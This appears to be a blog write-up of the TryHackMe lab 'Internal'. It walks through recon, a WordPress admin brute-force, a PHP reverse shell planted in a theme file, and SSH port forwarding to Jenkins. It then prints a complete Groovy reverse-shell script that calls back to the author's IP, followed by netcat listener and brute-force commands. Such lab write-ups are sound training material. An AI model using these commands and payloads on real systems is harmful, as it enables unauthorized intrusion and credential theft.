Contents

THM: Internal

Hey folks welcome to my blog. In this blog, I’ll be presenting the write-up for a TryHackMe room called Internal. This room is rated as hard in terms of difficulty and serves as a penetration testing box.

Reconnaissance

Scanning

First things first, let’s begin by running a Nmap scan on the provided IP address.

Nmap
nmap -A -p- 10.10.123.64 -oN nmap/aggresive-scan-all-ports -T4
# Nmap 7.80 scan initiated Tue Apr  2 23:25:47 2024 as: nmap -A -p- -oN nmap/aggresive-scan-all-ports -T4 10.10.123.64
Nmap scan report for 10.10.123.64
Host is up (0.22s latency).
Not shown: 65533 closed ports
PORT   STATE SERVICE VERSION
22/tcp open  ssh     OpenSSH 7.6p1 Ubuntu 4ubuntu0.3 (Ubuntu Linux; protocol 2.0)
| ssh-hostkey: 
|   2048 6e:fa:ef:be:f6:5f:98:b9:59:7b:f7:8e:b9:c5:62:1e (RSA)
|   256 ed:64:ed:33:e5:c9:30:58:ba:23:04:0d:14:eb:30:e9 (ECDSA)
|_  256 b0:7f:7f:7b:52:62:62:2a:60:d4:3d:36:fa:89:ee:ff (ED25519)
80/tcp open  http    Apache httpd 2.4.29 ((Ubuntu))
|_http-server-header: Apache/2.4.29 (Ubuntu)
|_http-title: Apache2 Ubuntu Default Page: It works
Service Info: OS: Linux; CPE: cpe:/o:linux:linux_kernel

Service detection performed. Please report any incorrect results at https://nmap.org/submit/ .
# Nmap done at Tue Apr  2 23:37:55 2024 -- 1 IP address (1 host up) scanned in 728.47 seconds

There are only two ports are open. I started enumerating these ports one by one

Enumeration

22 SSH

Port 22 is running a SSH service, which could be helpful if I had credentials.

80 HTTP

url: http://10.10.123.64

On port 80, an HTTP service is running, presenting a default Apache page. Nothing of interest was found here.

Default apache2 page:

/posts/thm/internal/images/Pasted%20image%2020240402233118.png

So I decided to run gobuster to fuzz for directories.

Gobuster
gobuster dir -u http://10.10.123.64/ -w /opt/SecLists/Discovery/Web-Content/directory-list-2.3-medium.txt -t 50 -o gobuster.out
===============================================================
Gobuster v3.6
by OJ Reeves (@TheColonial) & Christian Mehlmauer (@firefart)
===============================================================
[+] Url:                     http://10.10.123.64/
[+] Method:                  GET
[+] Threads:                 50
[+] Wordlist:                /opt/SecLists/Discovery/Web-Content/directory-list-2.3-medium.txt
[+] Negative Status codes:   404
[+] User Agent:              gobuster/3.6
[+] Timeout:                 10s
===============================================================
Starting gobuster in directory enumeration mode
===============================================================
/blog                 (Status: 301) [Size: 311] [--> http://10.10.123.64/blog/]
/wordpress            (Status: 301) [Size: 316] [--> http://10.10.123.64/wordpress/]
/javascript           (Status: 301) [Size: 317] [--> http://10.10.123.64/javascript/]
/phpmyadmin           (Status: 301) [Size: 317] [--> http://10.10.123.64/phpmyadmin/]
/server-status        (Status: 403) [Size: 277]
Progress: 220560 / 220561 (100.00%)
===============================================================
Finished
===============================================================

Gobuster listed some discovered directories, Including a wordpress blog located at /blog.

/posts/thm/internal/images/Pasted%20image%2020240403102133.png

Upon further enumeration, I discovered that the posts redirect me to a domain named internal.thm. However, this domain is not resolving because no IP address is pointing towards it.

/posts/thm/internal/images/Pasted%20image%2020240403102321.png

After adding the domain to point to the IP address in /etc/hosts, the blog post became visible.

10.10.254.244    internal.thm

Blog post:

/posts/thm/internal/images/Pasted%20image%2020240403102948.png

WPScan

Since this is a WordPress website, I decided to run WPScan with plugin, theme, and user enumeration using the command --enumerate ap,at,u to see if I could find anything interesting here.

wpscan --url http://internal.thm/blog/ --enumerate ap,at,u -t 10 --disable-tls-checks | tee wpscan-ap-at-u.txt

User found:

/posts/thm/internal/images/Pasted%20image%2020240403105307.png

WPScan found a user named admin. Additionally, I checked for vhosts since this machine has a domain, hoping to uncover something interesting, but unfortunately, I didn’t find anything.

vhost enumeration:

gobuster vhost -u http://10.10.254.244/ -w /opt/SecLists/Discovery/DNS/subdomains-top1million-5000.txt --exclude-length 422 -t 50 -o gobuster-vhost.tx

vhost results:

===============================================================
Gobuster v3.6
by OJ Reeves (@TheColonial) & Christian Mehlmauer (@firefart)
===============================================================
[+] Url:              http://10.10.254.244/
[+] Method:           GET
[+] Threads:          50
[+] Wordlist:         /opt/SecLists/Discovery/DNS/subdomains-top1million-5000.txt
[+] User Agent:       gobuster/3.6
[+] Timeout:          10s
[+] Append Domain:    false
[+] Exclude Length:   422
===============================================================
Starting gobuster in VHOST enumeration mode
===============================================================
Progress: 4989 / 4990 (99.98%)
===============================================================
Finished
===============================================================

Exploitation

shell as www

Since I had discovered the user “admin” earlier, I decided to launch a password brute-force attack targeting that user. Bruteforce admin login:

wpscan --url http://internal.thm/blog -U user.txt -P /opt/wordlists/rockyou.txt -t 200

/posts/thm/internal/images/Pasted%20image%2020240403110901.png

I managed to find valid credentials for the user admin and successfully logged into the admin account using these credentials.

wp-admin dashboard:

/posts/thm/internal/images/Pasted%20image%2020240403111516.png

It was time to obtain a shell, so I initiated a netcat listener using the rlwrap tool. This utility proved to be very helpful as it allowed me to navigate command history on a netcat shell.

rlwrap nc -lvnp 1337

Initially, I attempted to upload the reverse shell as a plugin, but this method failed. So, I explored alternative approaches, such as replacing existing PHP code with my shell. Eventually, I successfully replaced the page.php file with my reverse shell code.

/posts/thm/internal/images/Pasted%20image%2020240403112154.png

To trigger the shell, I visited a post page that was loading its contents from page.php, and as expected, I successfully obtained the shell in my netcat session.

/posts/thm/internal/images/Pasted%20image%2020240403112101.png

Since I couldn’t access the user’s home directory or any other directories with this privilege level, I initiated manual enumeration, carefully searching for any potential privilege escalation vectors.

/var/backups:

drwxr-xr-x  2 root root     4096 Aug  9  2020 .
drwxr-xr-x 14 root root     4096 Aug  3  2020 ..
-rw-r--r--  1 root root    51200 Aug  9  2020 alternatives.tar.0
-rw-r--r--  1 root root    37895 Aug  3  2020 apt.extended_states.0
-rw-r--r--  1 root root     3974 Aug  3  2020 apt.extended_states.1.gz
-rw-r--r--  1 root root      437 Aug  3  2020 dpkg.diversions.0
-rw-r--r--  1 root root      207 Aug  3  2020 dpkg.statoverride.0
-rw-r--r--  1 root root   649943 Aug  3  2020 dpkg.status.0
-rw-------  1 root root      746 Aug  3  2020 group.bak
-rw-------  1 root shadow    625 Aug  3  2020 gshadow.bak
-rw-------  1 root root     1626 Aug  3  2020 passwd.bak
-rw-------  1 root shadow   1056 Aug  3  2020 shadow.bak

In my manual enumeration, I stumbled upon some backup files and a wp-save.txt file located in the /opt directory.

/opt:

containerd  wp-save.txt

In the wp-save.txt file, I discovered the username and password of the user. wp-save.txt:

Bill,

Aubreanna needed these credentials for something later.  Let her know you have them and where they are.

aubreanna:REDACTED

shell as aubreanna

I used the discovered username and password to SSH into the server and successfully logged in as the user.

ssh aubreanna@10.10.254.244

Besides the “user.txt” file containing the user flag, I found another file. /home/aubreanna:

jenkins.txt snap user.txt

Upon reading the contents of the file, I learned that this machine is running Jenkins on an internal network. jenkins.txt:

Internal Jenkins service is running on 172.17.0.2:8080

shell as jenkins

To access the Internal Jenkins service running on 172.17.0.2:8080, I set up port forwarding using SSH.

ssh -f -N -L 4444:127.0.0.1:8080 aubreanna@internal.thm

After successfully accessing the Jenkins service, I encountered a login prompt requiring a username and password to access the dashboard.

/posts/thm/internal/images/Pasted%20image%2020240403114557.png

I utilized Burp Intruder to brute-force the passwords using the rockyou.txt wordlist. Eventually, I received a 302 redirect response, indicating success. I managed to find the valid password for the Jenkins admin account.

/posts/thm/internal/images/Pasted%20image%2020240403120227.png

With the obtained credentials, I logged into the Jenkins admin panel and began thoroughly enumerating each component, aiming to find a pathway to gain shell access.

/posts/thm/internal/images/Pasted%20image%2020240403120437.png

After some research, I discovered that Jenkins can execute system commands using its Script Console, which utilizes Groovy script.

I initiated a netcat listener using the command nc -lvnp 1338 and navigated to “Manage Jenkins” > “Script Console.” I then pasted the Groovy reverse shell script found here And modified it by adding my IP address and the netcat listener port. Then, I pasted the modified script into the console text area and executed it. groovy reverse shell:

String host="10.17.35.182";
int port=1338;
String cmd="/bin/sh";
Process p=new ProcessBuilder(cmd).redirectErrorStream(true).start();Socket s=new Socket(host,port);InputStream pi=p.getInputStream(),pe=p.getErrorStream(), si=s.getInputStream();OutputStream po=p.getOutputStream(),so=s.getOutputStream();while(!s.isClosed()){while(pi.available()>0)so.write(pi.read());while(pe.available()>0)so.write(pe.read());while(si.available()>0)po.write(si.read());so.flush();po.flush();Thread.sleep(50);try {p.exitValue();break;}catch (Exception e){}};p.destroy();s.close();

/posts/thm/internal/images/Pasted%20image%2020240403134556.png

/posts/thm/internal/images/Pasted%20image%2020240403134932.png

After obtaining the shell as the Jenkins user, I spawned a TTY shell to gain better interactive control over the shell environment

python -c 'import pty;pty.spawn("/bi/bash")'

Despite gaining access to the Jenkins user’s shell, I still couldn’t access the root user’s directory. Continuing my search for privilege escalation vectors, I stumbled upon an intriguing file named note.txt, which contained the root credentials.

/posts/thm/internal/images/Pasted%20image%2020240403135110.png

/posts/thm/internal/images/Pasted%20image%2020240403135150.png

shell as root

With the root credentials in hand, I logged in as the root user. Escalating to root privilege was straightforward, as the admin had left the credentials on a container within the internal network, mistakenly assuming it would be inaccessible.

note.txt:

Aubreanna,

Will wanted these credentials secured behind the Jenkins container since we have several layers of defense here.  Use them if you 
need access to the root user account.

root:REDACTED

/posts/thm/internal/images/Pasted%20image%2020240403135559.png

/posts/thm/internal/images/Pasted%20image%2020240403135726.png

Thank you for reading. Keep hacking! Until next time.